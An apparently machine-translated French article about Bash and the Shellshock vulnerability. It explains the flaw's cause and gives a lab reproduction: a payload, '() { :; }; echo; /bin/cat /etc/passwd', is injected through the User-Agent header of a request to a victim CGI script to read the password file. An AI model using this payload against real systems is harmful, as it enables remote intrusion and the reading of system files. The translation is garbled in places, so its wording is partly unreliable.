Bourne Again Shell (BASH en abrégé) est l'implémentation SHELL la plus populaire sur GNU/Linux. Elle est née en 1980. Après des décennies d'évolution, elle a évolué d'un simple interpréteur de ligne de commande de terminal à un interpréteur profondément intégré à GNU. système.Interface multifonctionnelle.
Bash, un type de shell Unix. La première version officielle a été publiée en 1989. Elle était initialement prévue pour être utilisée sur le système d'exploitation GNU, mais elle peut fonctionner sur la plupart des systèmes d'exploitation de type Unix, notamment Linux et Mac OS X v10.4, qui l'utilisent par défaut. coquille. Il a également été porté sur Cygwin et MinGW sur Microsoft Windows, ou est disponible en tant que projet DJGPP sur MS-DOS. Il existe également des ports sur Novell NetWare et Android.
Les variables d'environnement actuelles utilisées par Bash sont appelées via des noms de fonctions. La cause de la vulnérabilité est qu'une fois les variables d'environnement définies commençant par "(){" analysées en fonctions dans la commande ENV, l'exécution de Bash ne se termine pas, mais Continuez à analyser et à exécuter les commandes shell, et la raison principale est qu'il n'y a pas de limites strictes dans le filtrage des entrées et qu'aucun jugement de paramètre légalisé n'est effectué.
Cet article enregistre et implémente uniquement la récurrence de la vulnérabilité. Le processus d'utilisation est le suivant :
1 Environnement de vulnérabilité
Lien : http://192.168.101.152/victim.cgi
2. payload
() { :; }; echo; /bin/cat /etc/passwd
Théoriquement, vous pouvez injecter une commande Bash dans la requête HTTP pour l'exécution de la commande à distance
3 Utilisez le processus
pour accéder à la cible
Remplacez la valeur de l'agent utilisateur par la charge utile à exécuter. la commande
User-Agent n'est pas une condition requise
<br>
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!